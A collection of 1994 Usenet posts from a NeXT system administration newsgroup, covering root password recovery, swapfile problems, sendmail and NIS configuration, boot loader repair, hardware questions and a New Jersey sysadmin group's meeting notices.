Organization: GWDG, Goettingen
References: <toreh.2.0010BE0A@bootes.sds.no>
Date: Tue, 25 Jan 1994 17:42:29 GMT
Tore Haraldsen (toreh@bootes.sds.no) wrote:
> * I have tried to boot in single user more and do the passwd command. No use.
correct.
> * I have tried the procedure outlined in the docs (boot to single user mode,
> run the rc script and do passwd], only problem is, the machine goes into
> multiuser and full graphics mode, so I cannot do the passwd command.
you have to start a *new* shell to run rc
# /bin/sh /etc/rc
not just start it. Then you can use passwd to change the netinfo's
root password. afterwards do a reboot, don't go into multiuser mode!
ciao, stephan
--
trebels@theo-phys.gwdg.de
Newsgroups: comp.sys.next.sysadmin
From: thf@zelator.de (Thomas Funke)
Subject: Re: swap space BIG! help!!!
Message-ID: <1994Jan24.132054.1009@gamelan>
Sender: thomas@gamelan (thomas)
Organization: Disorganization
References: <1994Jan20.234551.927@vlsi.polymtl.ca>
Date: Mon, 24 Jan 1994 13:20:54 GMT
In article <1994Jan20.234551.927@vlsi.polymtl.ca> jmh@info.polymtl.ca
(Jean-Marc Heneman) writes:
> my swapfile :
> 111888 -rw------t 1 root 114507776 Jan 20 18:27 swapfile
> 116320 -rw------t 1 root 119111680 Jan 20 18:27 swapfile.front
>
> What can I do?
> HELP, I have no more diskspace...
1. Reboot
2. Write an angry bug report to NeXT that you urgently need
shrinking swapfiles. Maybe if they get a few thousand votes,
they'll realize that still in this century .
--
------------------------------------------------------------------
Thomas Funke ** Unix-Consultant ** thf@zelator.de
Brooks's Law:
Adding manpower to a late software project makes it later
------------------------------------------------------------------
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Missing mail groups and aliases
Date: 24 Jan 1994 21:39:38 GMT
Organization: Suite Software
Message-ID: <2i1f6q$872@bilbo.suite.com>
I am having a problem with a Next on my net that had a disk crash. I put a
new disk in it and have reinstalled the software and I have it back on the
net... However, I did manage to lose the aliases that used to show up
under "Groups" in the addresses window. They still exist on every other
Next but are missing from this one... Any ideas??? Thanks in advance
Scot
Newsgroups: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
From: davidb@cbis.com (David Brenner)
Subject: Re: Can't get rid of NIS slave server.
Message-ID: <1994Jan25.125035.26177@roadie.uucp>
Followup-To: comp.sys.next.sysadmin,comp.unix.admin,comp.unix.questions
Sender: usenet@roadie.uucp (USENET id)
Organization: CBIS
References: <2hk3c6$7qa@amaterasu.aware.com>
Date: Tue, 25 Jan 1994 12:50:35 GMT
Alan Yasutovich (yasu@amaterasu.aware.com) wrote:
: I tried, "by the book", to get rid of an NIS slave server.
: Yet when I type make I get:
: root amaterasu.aware.com 2:54pm-115-/var/yp->make
: updated netid
: Finding NIS servers:(hierachical push) tycle.aware.com quetz.aware.com gozer.aware.com
: NIS server not registered at gozer.aware.com.
: quetz.aware.com has been called.
: tycle.aware.com has been called.
: Status received from ypxfr on quetz.aware.com:
: Transfer not done: master's version isn't newer.
: Status received from ypxfr on tycle.aware.com:
: Transfer not done: master's version isn't newer.
: pushed netid
: Where gozer is the slave I want to get rid of.
: How can I flush this thing?
: --
: Alan Yasutovich
Did you remove "gozer" from the "servers" map on the NIS master?
David
--
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Analyst
Cincinnati Bell Information Systems
From: tal@Warren.MENTORG.COM (Tom Limoncelli)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin,comp.unix.large,comp.unix.misc,comp.unix.solaris,comp.unix.ultrix,comp.unix.unixware,nj.events,nj.misc,nyc.announce,phl.announce
Subject: $GROUPNAME Meeting Calendar (NEW JERSEY)
Followup-To: comp.unix.admin
Date: 25 Jan 1994 16:27:38 -0500
Organization: Mentor Graphics -- IC Group, Warren, NJ, USA
Sender: tal@Warren.MENTORG.COM
Distribution: inet
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(NOTE: GSLISA (Garden State LISA) has changed it's name to $GROUPNAME.
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$GROUPNAME Meeting Calendar
---------------------------
JANUARY:
"Are your customers your fellow workers?"
Thurday, Jan 27: _Keeping_Users_Happy_: At Mentor's NJ location
the sysadmin staff have developed a number of techniques to make sure
users demands are met, requests get completed, and users are kept
happy. Some techniques are software, some are policy. The
presentation will demo their helpdesk/pager system, give an overview of
their network configuration, security standards, and philsophy. The
presentation should be useful to anyone who's customers are your fellow
employees. A question-and-answer session will follow the
presentation.
Location: Mentor Graphics Corp
15 Independence Blvd.
Warren, NJ 07059
When: Thursday, January 27, 1994, 7:30-9:30pm
NOTE: The meeting will start exactly at 7:30.
For directions, send "get groupname directions" as the first line of a
message (the Subject: will be ignored) to majordomo@warren.mentorg.com.
Or, cut and paste this command into a Unix shell:
echo get groupname directions | mail majordomo@warren.mentorg.com
------------------------------------------------------------
FEBRUARY:
Thursday, Feb 17: This is the annual meeting under the bylaws.
They bylaws will be approved and the the first board will be elected.
Location: To Be Announced
When: Thursday, February 17, 7:30pm-9:00pm
------------------------------------------------------------
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From: Mark Sheingorn <mark>
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Subject: 16mb ram for a next color turbo
To: comp.sys.next.sysadmin@cs.utexas.edu
Date: Tue, 25 Jan 1994 14:18:03 -36803936 (EST)
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hi
i have 16 mb; tried two different shipments from pc connection
of 2 8mb simms boards ... both failed immediately on reboot ...
does anyone know a ggod supplier in the $1000 range?
thanks for any help!
--
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1200 Broadway, #3-E The dream is gone ...
New York, NY 10001 And I have become ...
voice: 212-686-6025 Comfortably numb.
fax: 212-447-3076 --- Pink Floyd
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: lvision@netcom.com (Logic Vision)
Subject: NeXT Color Printer
Message-ID: <lvisionCK7Fvy.5p3@netcom.com>
Followup-To: madhavan@lvision.com
Summary: parts are the available?
Keywords: madhavan@lvision.com, NeXT
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
Date: Tue, 25 Jan 1994 21:33:20 GMT
I am planning to buy a NeXT Color Printer - bubble jet at an auction
1. How good are these printers?
2. Are their parts available?
3. Can I use it with other machines?
4. How easy is it to connect this to NeXT Station?
5. What about Toners, Cartridges ...etc?
What would be an average price for this? Please respond asap!
Any input would be really appreciated.
Newsgroups: comp.sys.next.sysadmin
From: ror@netcom.com (Thomas P. Copley)
Subject: PNI 1.6 & E-mail
Message-ID: <rorCK7J7E.AFn@netcom.com>
Summary: How do I get E-mail to work through PNI (SLIP)?
Keywords: SLIP, PNI, E-mail
Organization: Arlington Courseworks
Date: Tue, 25 Jan 1994 22:45:14 GMT
I finally got PNI SLIP to work for Intel. The first time I installed it,
it crashed my system so bad that I had to re-install NEXTSTEP from
scratch. I don't know why...probably because I had some of the networking
stuff setup wrong. After the re-install, it took me about six hours to
edit up the dialing script and login script, but it finally works! In
fact, it works great! I can telnet, ftp, and etc., beautifully.
My question is, how do I get it to work with E-mail? I mean so that I can
send and receive mail? After the re-install, I have not yet changed the
host name from "localhost" because I've been too scared to... What kind of
network stuff do I have to setup? I really don't want to screw up my SLIP
setup, but I really want to be able to send and receive E-mail from my
NeXT machine...
How do I configure my host? Do I just plug in the IP number and domain
name that my SLIP provider gave me?
Can I set it up so that my machine polls for mail?
Can I set it up so that my machine does a mail transfer whenever it logs
in to the SLIP server?
I'm clueless on this, and I can't seem to find any documentation.
Any suggestions, comments, pointers in the right direction, etc., would be
greatly appreciated!
Thanks,
Zach
--
---------------------------------------------
Zach Copley (ror@netcom)
Newsgroups: comp.sys.next.sysadmin
From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: 3.0: loginwindow: can't find WindowServer port!
Message-ID: <CK7Kox.1r4@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: The Geometry Center, University of Minnesota
Date: Tue, 25 Jan 1994 23:17:18 GMT
We're seeing this on a netinfo server...the system boots and runs
(and appears to serve the NI domain without problems), but the login
window never comes up. "windowserver" and "loginwindow" both show
up in "ps", but we get:
Jan 25 16:41:37 pascal loginwindow[191]: loginwindow: could not find WindowServer port!
in "/usr/adm/messages" about every 45 seconds (and a new process id
for both processes).
We can't seem to find anything that gives a clue as to where this
problem comes from. I suppose it is another Netinfo gotcha, but I'd
sure like to know what obscure entry in the database causes it.
Thanks, Scott S. Bertilson
--
Newsgroups: comp.sys.next.sysadmin
From: baker@keeper.journalism.indiana.edu (Don Baker)
Subject: ScreenSaver in NS 3.1/3.2
Message-ID: <CK7nCq.JHM@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Wed, 26 Jan 1994 00:14:48 GMT
Can anyone clue me in on how to change the default delay on the loginwindow
ScreenSaver? I noticed that there is a ScreenSaver bundle in loginwindow.app,
but I have found no docs on how to use it.
--
Don Baker
Technical Services Coordinator
IU School of Journalism
Tel: (812) 855-4918
baker@journalism.indiana.edu
From: windemut@cumbnd.bioc.columbia.edu (Andreas Windemuth)
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: NEXTSTEP 3.2 upgrade: Mouse problem!
Date: 26 Jan 1994 00:18:04 GMT
Organization: Columbia University
Distribution: world
Message-ID: <2i4crs$q0i@apakabar.cc.columbia.edu>
Today I finally upgraded my ALR Evolution to 3.2. The upgrade
went relatively smoothly.
However, now my Mouse (a PS/2 mouse) feels very sluggish,
somewhat like I remember a serial mouse feels. It used to
be very fast and smooth before the upgrade.
Now it is really hard to work with.
Has anyone else made that observation? Is there a solution?
Any help is gladly appreciated,
Andreas Windemuth
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Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
From: rob@brewster.demon.co.uk (Rob Heyes)
Subject: Re: NEXTSTEP 3.2 upgrade: Mouse problem!
References: <2i4crs$q0i@apakabar.cc.columbia.edu>
Followup-To: comp.sys.next.misc
Organization: Kallisti Systems
Date: Wed, 26 Jan 1994 01:47:54 +0000
Message-ID: <759574074snx@brewster.demon.co.uk>
Sender: usenet@demon.co.uk
In article <2i4crs$q0i@apakabar.cc.columbia.edu> windemut@cumbnd.bioc.columbia.edu (Andreas Windemuth) writes:
>
> Today I finally upgraded my ALR Evolution to 3.2. The upgrade
> went relatively smoothly.
>
> However, now my Mouse (a PS/2 mouse) feels very sluggish,
> somewhat like I remember a serial mouse feels. It used to
> be very fast and smooth before the upgrade.
> Now it is really hard to work with.
>
> Has anyone else made that observation? Is there a solution?
>
> Any help is gladly appreciated,
>
I just upgraded to 3.2 myself and found that my serial mouse was a lot
faster than it used to be!
I had a look in Configure.app and noticed that there was a new option
for the serial mouse to set the resolution - adjusting this fixed my
problem - perhaps there is a similar setting for the PS/2 mouse?
Rob Heyes
Newsgroups: comp.sys.next.sysadmin
Subject: Can't rdump: Solved
Message-ID: <1994Jan25.155822.650@earlham.edu>
From: tim@math.earlham.edu (Tim McLarnan)
Date: 25 Jan 94 15:58:20 EST
References: <2htl05$ag@marsu.tynet.sub.org>
Distribution: world
I was having trouble doing remote dumps from one NeXT to another. The problem
turned out to be that I had a line in the root .cshrc file saying
if (`tty` == '/dev/ttydfb') then
<do some stuff with emacs to make it work right on dial-in>
endif
rsh freaked at the `tty`, killing rdump. Removing this line solved the
problem. Putting it in .login seems to work fine.
I received two suggestions from the net for resolving the problem:
mow@marsu.tynet.sub.org (Markus Wenzel) suggested that the right device for an
Exabyte was /dev/rxt0, not /dev/rst0. For whatever reason, my Exabyte will
only work with /dev/rst0. It is a new drive--perhaps Exabyte has changed?
Ken-ichiro Aoki <ken@phys.titech.ac.jp> suggests that GNU tar is good and dump
is bad. I'll think seriously about his advice.
Thanks to all!
--
Tim McLarnan tim@math.earlham.edu
Dept. of Mathematics, Earlham College, Richmond, IN 47374 USA
From: jcl@yonext.apl.washington.edu (James C. Luby)
Newsgroups: comp.sys.next.sysadmin
Subject: NEXTSTEP Network and System Administration
Date: 25 Jan 1994 17:39:32 GMT
Organization: University of Washington
Distribution: na
Message-ID: <2i3lgk$q70@news.u.washington.edu>
Keywords: NeXT OS3.1 documentation,NEXTSTEP Network and System Administration
In the User's Guides for Next OS3.1 and 3.2 there are references to the
publication "NEXTSTEP Network and System Administration." I don't recall
receiving said manual and am wondering if NeXT included it as part of the OS
documentation or rather only provided it as part of the on-line documentation.
Thanks!
Jim
Newsgroups: comp.sys.next.sysadmin
From: me@canis.metaworks.de (Ralf Canis)
Subject: Problem with UUCP and domain name
Message-ID: <CK6H3u.94@canis.metaworks.de>
Sender: me@canis.metaworks.de (Ralf Canis)
Date: Tue, 25 Jan 1994 09:02:18 GMT
Kevin Pompei wrote:
> When mail is sent to my domain, the mail is delivered
> to my system but not forwarded on to the user, instead it is
> qued back to my network provider.
I had the same problem. I resolved it changing the sendmail configuration
file, but that's a hack, not the ordinary way I think.
First look in /etc/sendmail which configuration file to change:
sendmail.cf is a link to one of the sendmail.*.cf files (mailhost here).
Define macro m as your local domain name in the "General configuration
information" part of the file:
# local domain name
...
Dmyour.domain.goes.here
Then look for the following comment and add a new last line in this group:
# resolve the local hostname to "LOCAL".
...
R$*<$*$m>$* $#local $:$1 thisdomain (rc)
Running sendmail in address test mode you can look at the results of your
changes. The mailer used for an address with your domain should be local,
and not ether or uucp.
Example:
56 [canis:sendmail]> /usr/lib/sendmail -bt
ADDRESS TEST MODE
Enter <ruleset> <address>
[Note: No automatic ruleset 3 call]
> 3,0 me@canis.metaworks.de
rewrite: ruleset 3 input: "me" "@" "canis" "." "metaworks" "." "de"
rewrite: ruleset 6 input: "me" "<" "@" "canis" "." "metaworks" "." "de"
">"
rewrite: ruleset 6 returns: "me" "<" "@" "canis" "." "metaworks" "." "de"
">"
rewrite: ruleset 3 returns: "me" "<" "@" "canis" "." "metaworks" "." "de"
">"
rewrite: ruleset 0 input: "me" "<" "@" "canis" "." "metaworks" "." "de"
">"
rewrite: ruleset 0 returns: $# "local" $: "me"
As stated above I think it's a hack. Does anybody know the correct way?
Ralf
From: beckers@quip.eecs.umich.edu (Becki Kain)
Newsgroups: comp.sys.next.sysadmin
Subject: ppp on 3.0
Date: 26 Jan 1994 14:34:06 GMT
Organization: University of Michigan EECS Dept., Ann Arbor, MI
Message-ID: <2i5v0u$h9d@zip.eecs.umich.edu>
hello all:
i would information/experiences from anyone who has had set up reliable
ppp for their 3.0 machines.
thanks
beckers
mika systems
From: shepherd@suite.com (Scot Shepherd)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Is my cube's hard disk dying?
Message-ID: <2i38vk$mne@bilbo.suite.com>
Date: 25 Jan 94 14:05:40 GMT
References: <1994Jan19.145528.635@crash>
Organization: Suite Software
In article <1994Jan19.145528.635@crash> coconut@crash.cts.com (Brian Dear)
writes:
> Brian Dear (coconut@crash.cts.com) wrote:
> :
> : Back on 22 Dec I ran into a major problem with my cube's hard disk
> : (it's the original Maxtor 349MB drive provided by NeXT). Basically,
> : 3/4 of the files in the /etc directory suddently disappeared. I
rebooted
> : and fsck found "mangled" inodes. I was able to salvage and have been
> : running fine until this morning, when we noticed weird stuff happening
> : on other machines. Turns out half the /etc directory was missing
again
> : on the cube, including /etc/netinfo! So I rebooted and it came back
up
> : after a fsck or two and some salvaging.
> :
> : Sounds like I have a bad sector or so on my HD or what? This machine
was
> : bought in 1990. No warranty left I suppose. What are my options?
> :
> : ANy way to do a low-level reformat and surface scan and mark bad
sectors?
> : Any suggestions would be welcome!
> :
> : -- brian dear
> : coconut computing, inc.
> : brian@coconut.com
> :
>
>
> I would also like to add that this machine is running NS3.2 and has
> 24MB RAM.
>
> For what it's worth, the machine ran FINE from the day we purchased it
> until just last month (December 1993!) ---> the month we installed
NS3.2!
>
> In other words, all of our troubles began subsequent to installing
NS3.2.
I personally wouldn't blame my disks crash on NS3.2 but by coincidence I
also lost my original Maxtor 349meg disk shortly after installing 3.2.
Mine died completely however and is physically damaged. Low-level formats
won't even run on the drive.
If you are still looking for a program to do this though I got one called
sdformat from the ssubmissions directory of cs.orst.edu. I have used it
on several drives. Wouldn't work on this one though...
Scot
Newsgroups: comp.sys.next.sysadmin
From: robert@ictv.com (Robert Patrick Thille)
Subject: DOS ate my NeXTSTEP boot loader!
Message-ID: <1994Jan26.180440.17528@ictv.com>
Sender: usenet@ictv.com
Organization: ICTV, Santa Clara, CA (408) 562-9200
Distribution: usa
Date: Wed, 26 Jan 1994 18:04:40 GMT
We recently upgraded a combo DOS/NeXTSTEP machine to DOS 6.2, from
DOS 6.0, and the NeXTSTEP boot loader is no longer used. Is there
a way to reinstall or reactivate it?
Robert
--
Robert Thille NeXTMail
robert@ictv.com OK
660 Bair Island Rd #40 Redwood City CA 94063
ger used. Is there
a way to reinstall or reactivate it?
Robert
--
Robert Thille NeXTMail
robert@ictv.com
From: tal@Warren.MENTORG.COM (Tom Limoncelli)
Newsgroups: comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin,comp.unix.large,comp.unix.misc,comp.unix.solaris,comp.unix.ultrix,comp.unix.unixware,nj.events,nj.misc,nyc.announce,phl.announce
Subject: $GROUPNAME Meeting *POSTPONED* (NEW JERSEY)
Followup-To: comp.unix.admin
Date: 26 Jan 1994 14:24:48 -0500
Organization: Mentor Graphics -- IC Group, Warren, NJ, USA
Sender: tal@Warren.MENTORG.COM
Distribution: world
Message-ID: <2i6g20$pgt$1@sdl.Warren.MENTORG.COM>
To: groupname@warren.mentorg.com,sage-announce@usenix.org,njcabal@draco.rutgers.edu,suspects@psyche.mit.edu,bblisa-announce@cs.umb.edu,mentor-sysadmin@warren.mentorg.com,pat_gray.wrn01@pdxml1.mentorg.com,sysadmin@warren.mentorg.com
The $GROUPNAME meeting scheduled for Thurday, Jan 27 (topic, "Keeping
Users Happy") will be post poned due to snow.
The new date is exactly 7 days later: Thursday, Feb 3, 1994.
WHAT IS $GROUPNAME?
-------------------
$GROUPNAME is an organization for UNIX system administrators in New
Jersey formed to facilitate information exchange pertaining to the
field of Unix system administration. $GROUPNAME is not affiliated with
a particular hardware or software vendor or company.
For a complete >>CALENDAR OF EVENTS<< listing:
Send "get groupname calendar" as the first line of an email message
(the Subject: will be ignored) to majordomo@warren.mentorg.com.
Or, at a Unix shell prompt:
echo get groupname calendar | mail majordomo@warren.mentorg.com
For >>DIRECTIONS<< to the next event:
Send "get groupname directions" as the first line of an email message
(the Subject: will be ignored) to majordomo@warren.mentorg.com.
Or, at a Unix shell prompt:
echo get groupname directions | mail majordomo@warren.mentorg.com
--
Tom Limoncelli -- tal@warren.mentorg.com (work) -- tal@plts.org (play)
"Psst! Hey, Anthony! Y'know what I | Disclaimer: I do not
like about existing?" "Uh... uh... what?" | speak for Mentor Graphics.
"Possessing a physical extension." -TSA |
Newsgroups: comp.sys.next.sysadmin,comp.sys.sgi.admin,comp.sys.sun.admin,comp.unix.admin,comp.unix.large,comp.unix.misc,comp.unix.solaris,comp.unix.ultrix,comp.unix.unixware,nj.events,nj.misc,nyc.announce,phl.announce
From: Tom Limoncelli <tom_limoncelli@warren.mentorg.com>
Subject: $GROUPNAME Meeting *POSTPONED* (NEW JERSEY)
To: groupname@warren.mentorg.com, sage-announce@usenix.org,
njcabal@draco.rutgers.edu, suspects@psyche.mit.edu,
bblisa-announce@cs.umb.edu, mentor-sysadmin@warren.mentorg.com,
pat_gray.wrn01@pdxml1.mentorg.com, sysadmin@warren.mentorg.com
Message-ID: <199401261924.AA26130@Warren.MENTORG.COM>
Followup-To: comp.unix.admin
Precedence: bulk
Sender: Bblisa-Announce-Owner@cs.umb.edu
Organization: The Internet
Date: Wed, 26 Jan 1994 19:24:33 GMT
Return-Path: <cs.umb.edu!Bblisa-Announce-Owner@ileaf.prospect.com>
The $GROUPNAME meeting scheduled for Thurday, Jan 27 (topic, "Keeping
Users Happy") will be post poned due to snow.
The new date is exactly 7 days later: Thursday, Feb 3, 1994.
WHAT IS $GROUPNAME?
-------------------
$GROUPNAME is an organization for UNIX system administrators in New
Jersey formed to facilitate information exchange pertaining to the
field of Unix system administration. $GROUPNAME is not affiliated with
a particular hardware or software vendor or company.
For a complete >>CALENDAR OF EVENTS<< listing:
Send "get groupname calendar" as the first line of an email message
(the Subject: will be ignored) to majordomo@warren.mentorg.com.
Or, at a Unix shell prompt:
echo get groupname calendar | mail majordomo@warren.mentorg.com
For >>DIRECTIONS<< to the next event:
Send "get groupname directions" as the first line of an email message
(the Subject: will be ignored) to majordomo@warren.mentorg.com.
Or, at a Unix shell prompt:
echo get groupname directions | mail majordomo@warren.mentorg.com
From: halli@blondie.STD.Teradyne.COM (Kenn Halliwell)
Newsgroups: comp.sys.next.hardware,comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Sun to NeXT data transfer
Date: 26 Jan 1994 15:29:49 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401262129.AA00730@blondie.std.teradyne.com>
I'm trying to find a source for transferring data from a 1/4" tape cartridge
generated on a Sun workstation to an optical drive on a NeXT.
What I think I need is a Sun/RS6000/DG Avion on a network along with
a NeXT with the optical drive. ftp the data Sun-to-NeXT, etc.
Does anyone have this capability or know of a service that does?
Is there any way to mount a hard drive from a Sun on a NeXT. That is,
can I take a hard drive that has been formatted and file system'd by a
Sun, plug it into a NeXT, and have the NeXT access it? If you say yes,
have you done it?
Last question. Does the NeXT have support for a QIC-150 tape drive? Could
I take my Sun`s tape drive to the NeXT and expect it to work? If you say yes,
have you done it?
If you can answer these questions or direct me to some one who can, I'd be
most grateful.
John
FusionGraphics
reply to: fusiong@std.teradyne.com /*all other addresses do not work
From: windemut@cumbnd.bioc.columbia.edu (Andreas Windemuth)
Newsgroups: comp.sys.next.misc,comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: Re: NEXTSTEP 3.2 upgrade: Mouse problem!
Date: 26 Jan 1994 22:43:44 GMT
Organization: Columbia University
Distribution: world
Message-ID: <2i6rn0$1a6@apakabar.cc.columbia.edu>
References: <759574074snx@brewster.demon.co.uk>
In article <759574074snx@brewster.demon.co.uk> rob@brewster.demon.co.uk
(Rob Heyes) writes:
> In article <2i4crs$q0i@apakabar.cc.columbia.edu>
windemut@cumbnd.bioc.columbia.edu (Andreas Windemuth) writes:
> >
> > Today I finally upgraded my ALR Evolution to 3.2. The upgrade
> > went relatively smoothly.
> >
> > However, now my Mouse (a PS/2 mouse) feels very sluggish,
> > somewhat like I remember a serial mouse feels. It used to
> > be very fast and smooth before the upgrade.
> > Now it is really hard to work with.
> >
> > Has anyone else made that observation? Is there a solution?
> >
> > Any help is gladly appreciated,
> >
> I just upgraded to 3.2 myself and found that my serial mouse was a lot
> faster than it used to be!
>
> I had a look in Configure.app and noticed that there was a new option
> for the serial mouse to set the resolution - adjusting this fixed my
> problem - perhaps there is a similar setting for the PS/2 mouse?
>
Now, that is interesting. It seems they "fixed" something
to improve the serial mouse, and broke the PS/2 mouse
in the process.
The "resolution" is not what makes it slow. It is the rate at
which the cursor position is updated. It seems not to be determined
by the driver, but rather somewhere else (like, the windowmanager?).
I found that out by replacing the driver with the old one. The mouse
was still jittery.
Does anyone know where the cursor update rate is determined, and
how it could possibly be changed?
Andreas Windemuth
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From: bill@alamut.cognet.ucla.edu (William M. Eldridge)
Newsgroups: comp.sys.next.sysadmin
Subject: Removiing swapfile from too full disk
Date: 26 Jan 1994 15:27:40 -0800
Organization: UCLA Cognitive Science Research Program
Message-ID: <2i6u9c$nfp@alamut.cognet.ucla.edu>
Someone posted this question and answer a while back,
but I of course forgot to save it.
Anyway, the disk is full, I want to elimate the swapfile
on rebooting, but I only seem to be able to boot with
a read-only filesystem, or else the machine tries to
swap to /var and hangs with a "disk full" error.
Could someone please e-mail the solution?
Thanks,
Bill
--
Bill Eldridge
bill@cognet.ucla.edu "Will hack life for food"
310-206-3960 (3987 fax) ..................
From: takken@raven.Stanford.EDU (Todd Takken)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ScreenSaver in NS 3.1/3.2
Date: 26 Jan 1994 23:12:29 GMT
Organization: Stanford University
Distribution: world
Message-ID: <2i6tct$el3@nntp2.Stanford.EDU>
References: <CK7nCq.JHM@usenet.ucs.indiana.edu>
In article <CK7nCq.JHM@usenet.ucs.indiana.edu>
baker@keeper.journalism.indiana.edu (Don Baker) writes:
> Can anyone clue me in on how to change the default delay on the
loginwindow
> ScreenSaver? I noticed that there is a ScreenSaver bundle in
loginwindow.app,
> but I have found no docs on how to use it.
dim screen after logout by logging in as root and typing:
"dwrite loginwindow TimeToDim <seconds>"
Then logout and restart window manager by typing "exit".
-- Todd Takken
takken@leland.stanford.edu
From: eric@elseware.com (Eric Robinson)
Newsgroups: comp.sys.next.sysadmin
Subject: NNTP problem
Date: 26 Jan 1994 17:50:38 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401262348.AA02768@elseware.com>
I am in the process of bringing up C News, using NNTP, on a white box running NS 3.2.
Except for one little detail, everything is now running smoothly and we are getting news
into our site.
However, we cannot post news. When the news reader attempts to post a message to our
news server via NNTP, the server responds with the following error:
441 User usenet does not exist! Can't post.
But user usenet DOES exist as an alias to 'root' and myself (eric@elseware.com) at the top
netinfo domain.
(I can get the same error by telneting to nntp socket and entering the command POST.)
If anyone can point me in the right direction, I would appreciate it. I am using the latest
CNews package compiled for NS 3.2 that is available via ftp from cs.orst.edu.
Eric Robinson
eric@elseware.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: cowboy@omega.csuohio.edu (Joe Rosenfeld)
Subject: Re: How to restore NSi boot ?
Message-ID: <1994Jan27.000420.14700@news.csuohio.edu>
Followup-To: comp.sys.next.sysadmin,comp.sys.next.hardware
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
References: <2h0jne$t04@gazette.bcm.tmc.edu>
Date: Thu, 27 Jan 1994 00:04:20 GMT
dan@dna.neusc.bcm.tmc.edu wrote:
: I have NSI 3.2 installed on a disk with a small DOS partition. However
: when I went to update DOS to 6.2, it wiped out the NSI boot that lets you
: choose DOS or NSI. How can I restore this ? NB: if I make the NSI partition
: active NSI boots fine, but if I then want DOS, I have to boot from a floppy
: and use FDISK to make the DOS partition active.
This is not a problem. Go in as Root or SU in a terminal window and
use the FDISK command to set the NeXT Partition active. When you
installed DOS it set the DOS partition to active. Here is the syntax:
1. For and IDE drive:
fdisk /dev/rhd0h -setNeXTActive
2. For SCSI drive:
fdisk /dev/rsd0h -setNeXTActive
Please note that you are using raw device terminology, so /dev/rsd0h
instead of /dev/sd0a, for example.
This action has worked perfectly for me. Best of luck to ya.
You should only have to do this once after installing DOS, unless you
reinstall DOS Again, in which case, you can do the above steps again.
Cowboy
From: alby@grendel.UU.NET (Anthony Williams)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Removiing swapfile from too full disk
Date: 27 Jan 1994 00:31:24 GMT
Organization: UUNET Communications
Distribution: world
Message-ID: <2i720s$ilc@news.UU.NET>
References: <2i6u9c$nfp@alamut.cognet.ucla.edu>
Hey if you find out you'll be a god. Because NeXT machine have this
little bug called
'Eat your HD space up, never dying Swapfile'
Which for some reason NeXT just has never found time to figure out
how we can cure this problem.. Well if you find out tell me ASAP..
In article <2i6u9c$nfp@alamut.cognet.ucla.edu>, bill@alamut.cognet.ucla.edu (William M. Eldridge) writes:
|> Someone posted this question and answer a while back,
|> but I of course forgot to save it.
|>
|> Anyway, the disk is full, I want to elimate the swapfile
|> on rebooting, but I only seem to be able to boot with
|> a read-only filesystem, or else the machine tries to
|> swap to /var and hangs with a "disk full" error.
|>
|> Could someone please e-mail the solution?
|>
|> Thanks,
|> Bill
|>
|>
|> --
|> Bill Eldridge
|> bill@cognet.ucla.edu "Will hack life for food"
|> 310-206-3960 (3987 fax) ..................
--
Anthony Williams uunet!alby
Technical Support Engineer alby@uunet.uu.net
From: rlion@access1.digex.net (Eli Rosenblatt)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: Can you change the default app for any given file type?
Date: 26 Jan 1994 20:18:40 -0500
Organization: Rebellion System, Alexandria, VA
Message-ID: <2i74pg$330@access1.digex.net>
References: <1994Jan24.180058.26018@beaver.cs.washington.edu>
Keywords: app
In article <1994Jan24.180058.26018@beaver.cs.washington.edu>,
Daniel Fineman <fineman@cs.washington.edu> wrote:
>Hey all - i recently downloaded Emacs for NeXTStep, and i'd much
>rather have text files loaded into Emacs than Edit when you
>double-click on them. Can you change this somehow? I can't see a way
>to change any of this in the workspace preferences.... there's only
>one option for which app to open - how can you add another one?
under inspector (Workspace -> tools -> inspector) you can go to
contents and choose what to load up the program in. If you find that
emacs is not loaded in as an option, then you can try running the program
(emacs) while you load it up. It sound wierd, but I was trying to get
SoundCheck.app to play sounds instead of Sound.app and it wasn't on the
list, so I tried a bunch of stuff to get NeXTstep to recognize it and it
seemed that actually having the app runinng while i went to contents
inspector seemed to work..
--
Eli Rosenblatt (rlion@access.digex.net (NeXTMail))
/\ Rebellion Systems
\/ Specializing in Computer Consultation, repair, and Sales
From: Charles.M.Dudley.<warrior@churchst.ccs.itd.umich.edu>
Newsgroups: comp.sys.next.sysadmin
Subject: Michigan NeXTSTEP Users Group Opens AFS Repository
Date: 27 Jan 1994 01:18:35 GMT
Organization: University of Michigan
Distribution: world
Message-ID: <2i74pb$nj4@terminator.rs.itd.umich.edu>
Keywords: minug, afs, nextstep
The NEXTSTEP User Repository on IFS is now available to anyuser who
has access to the "umich.edu" cell at the University of Michigan Ann Arbor.
Users can find documents related to up to date information on the NeXT World, tiffs and other assorted goods.
Users who wish to use this IFS may do so, presently, free of charge. The directory is located at:
/afs/umich.edu/group/lsa/minug
There is read and look access for all users. There is also insert access for the Drop.box located in this directory.
Direct you additional questions and concerns to:
minug-secretary.general@umich.edu
--
Copyright 1994 Charles M. Dudley Charles.Dudley@umich.edu
NEXTSTEP User 313.308.3792
P. O. Box 130231 Ann Arbor, MI 48113
